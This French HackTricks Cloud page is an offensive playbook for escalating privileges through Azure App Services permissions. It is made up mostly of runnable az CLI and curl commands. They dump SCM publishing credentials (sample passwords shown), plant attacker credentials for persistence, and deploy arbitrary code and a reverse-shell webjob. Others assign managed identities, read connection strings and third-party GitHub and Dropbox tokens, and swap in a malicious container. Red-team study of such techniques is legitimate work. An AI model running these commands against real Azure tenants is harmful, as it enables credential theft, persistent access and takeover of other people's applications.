Az - App Services Privesc
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
App Services
Pour plus d’informations sur les services d’application Azure, consultez :
Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read
Ces autorisations permettent d’obtenir un SSH shell à l’intérieur d’une application web. Elles permettent également de déboguer l’application.
- SSH en une seule commande :
# Direct option
az webapp ssh --name <name> --resource-group <res-group>
- Créer un tunnel puis se connecter à SSH:
az webapp create-remote-connection --name <name> --resource-group <res-group>
## If successful you will get a message such as:
#Verifying if app is running....
#App is running. Trying to establish tunnel connection...
#Opening tunnel on port: 39895
#SSH is available { username: root, password: Docker! }
## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
ssh root@127.0.0.1 -p 39895
- Déboguer l’application :
- Installez l’extension Azure dans VScode.
- Connectez-vous à l’extension avec le compte Azure.
- Listez tous les services App dans la souscription.
- Sélectionnez le service App que vous souhaitez déboguer, faites un clic droit et sélectionnez “Démarrer le débogage”.
- Si l’application n’a pas le débogage activé, l’extension essaiera de l’activer mais votre compte doit avoir la permission
Microsoft.Web/sites/config/writepour le faire.
Obtention des identifiants SCM et activation de l’authentification de base
Pour obtenir les identifiants SCM, vous pouvez utiliser les commandes et permissions suivantes :
- La permission
Microsoft.Web/sites/publishxml/actionpermet d’appeler :
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
# Example output
[
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
"publishMethod": "MSDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"ftpPassiveMode": "True",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
"publishMethod": "FTP",
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
"publishMethod": "ZipDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
}
]
Notez que le nom d’utilisateur est toujours le même (sauf dans FTP qui ajoute le nom de l’application au début) mais le mot de passe est le même pour tous.
De plus, l’URL SCM est <app-name>.scm.azurewebsites.net.
- La permission
Microsoft.Web/sites/config/list/actionpermet d’appeler :
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
# Example output
{
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"kind": null,
"location": "Canada Central",
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"publishingPasswordHash": null,
"publishingPasswordHashSalt": null,
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"resourceGroup": "carlos_rg_3170",
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
"type": "Microsoft.Web/sites/publishingcredentials"
}
Notez que les identifiants sont les mêmes que dans la commande précédente.
- Une autre option serait de définir vos propres identifiants et de les utiliser :
# Show if any user is configured (password won't be shown)
az webapp deployment user show
# Set your own credentials
az webapp deployment user set \
--user-name hacktricks \
--password 'W34kP@ssw0rd123!'
# To delete it, check https://stackoverflow.com/questions/45275329/remove-deployment-credentials-from-azure-webapp
Ensuite, vous pouvez utiliser ces identifiants pour accéder aux plateformes SCM et FTP. C’est aussi un excellent moyen de maintenir la persistance.
N’oubliez pas que pour accéder à la plateforme SCM depuis le web, vous devez accéder à <SCM-URL>/BasicAuth.
Warning
Notez que chaque utilisateur peut configurer ses propres identifiants en appelant la commande précédente, mais si l’utilisateur n’a pas suffisamment de permissions pour accéder au SCM ou au FTP, les identifiants ne fonctionneront pas.
- Si vous voyez que ces identifiants sont REDACTED, c’est parce que vous devez activer l’option d’authentification de base SCM et pour cela, vous avez besoin de la deuxième permission (
Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
Publier du code en utilisant des identifiants SCM
Il suffit d’avoir des identifiants SCM valides pour publier du code dans le service App. Cela peut être fait en utilisant la commande suivante.
Pour cet exemple en python, vous pouvez télécharger le dépôt depuis https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, apporter les modifications que vous souhaitez, puis zippez-le en exécutant : zip -r app.zip ..
Ensuite, vous pouvez publier le code dans une application web avec la commande suivante :
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"
Webjobs: Microsoft.Web/sites/publish/Action | Identifiants SCM
La permission Azure mentionnée permet d’effectuer plusieurs actions intéressantes qui peuvent également être réalisées avec les identifiants SCM :
- Lire les journaux Webjobs :
# Using Azure credentials
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
# Using SCM username and password:
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
--user '<username>:<password>' -v
- Lire le code source de Webjobs :
# Using SCM username and password:
# Find all the webjobs inside:
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
--user '<username>:<password>'
# e.g.
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
--user '<username>:<password>'
- Créer Webjob continu :
# Using Azure permissions
az rest \
--method put \
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
--body "@/Users/username/Downloads/rev.js" \
--resource "https://management.azure.com/"
# Using SCM credentials
curl -X PUT \
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
-H 'Content-Disposition: attachment; filename=rev.js' \
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
--user '<username>:<password>'
Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Ces autorisations permettent de attribuer une identité gérée au service App, donc si un service App a été précédemment compromis, cela permettra à l’attaquant d’attribuer de nouvelles identités gérées au service App et d’escalader les privilèges vers celles-ci.
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>
Microsoft.Web/sites/config/list/action
Cette permission permet de lister les connection strings et les appsettings du service App qui peuvent contenir des informations sensibles comme des identifiants de base de données.
az webapp config connection-string list --name <name> --resource-group <res-group>
az webapp config appsettings list --name <name> --resource-group <res-group>
Lire les identifiants de tiers configurés
En exécutant la commande suivante, il est possible de lire les identifiants de tiers configurés dans le compte actuel. Notez que si, par exemple, des identifiants Github sont configurés dans un utilisateur différent, vous ne pourrez pas accéder au token d’un autre.
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
Cette commande renvoie des jetons pour Github, Bitbucket, Dropbox et OneDrive.
Voici quelques exemples de commandes pour vérifier les jetons :
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
Mettre à jour le code de l’application depuis la source
- Si la source configurée est un fournisseur tiers comme Github, BitBucket ou un dépôt Azure, vous pouvez mettre à jour le code du service App en compromettant le code source dans le dépôt.
- Si l’application est configurée en utilisant un dépôt git distant (avec nom d’utilisateur et mot de passe), il est possible d’obtenir l’URL et les identifiants d’authentification de base pour cloner et pousser des modifications avec :
- En utilisant la permission
Microsoft.Web/sites/sourcecontrols/read:az webapp deployment source show --name <app-name> --resource-group <res-group> - En utilisant la permission
Microsoft.Web/sites/config/list/action: az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"- Si l’application est configurée pour utiliser un dépôt git local, il est possible de cloner le dépôt et de pousser des modifications :
- En utilisant la permission
Microsoft.Web/sites/sourcecontrols/read: Vous pouvez obtenir l’URL du dépôt git avecaz webapp deployment source show --name <app-name> --resource-group <res-group>, mais cela sera le même que l’URL SCM de l’application avec le chemin/<app-name>.git(par exemple,https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git). - Pour obtenir les identifiants SCM, vous avez besoin de la permission :
Microsoft.Web/sites/publishxml/action: Ensuite, exécutezaz webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>.Microsoft.Web/sites/config/list/action: Ensuite, exécutezaz webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>
Warning
Notez qu’avoir la permission
Microsoft.Web/sites/config/list/actionet les identifiants SCM rend toujours possible le déploiement dans une webapp (même si elle a été configurée pour utiliser un fournisseur tiers) comme mentionné dans une section précédente.
Warning
Notez qu’avoir les permissions ci-dessous rend également possible d’exécuter un conteneur arbitraire même si la webapp a été configurée différemment.
Microsoft.Web/sites/config/Write, Microsoft.Web/sites/config/Read, Microsoft.Web/sites/config/list/Action, Microsoft.Web/sites/Read
C’est l’ensemble des permissions qui permet de modifier le conteneur utilisé par une webapp. Un attaquant pourrait en abuser pour faire exécuter un conteneur malveillant à une webapp.
az webapp config container set \
--name <app-name> \
--resource-group <res-group> \
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud

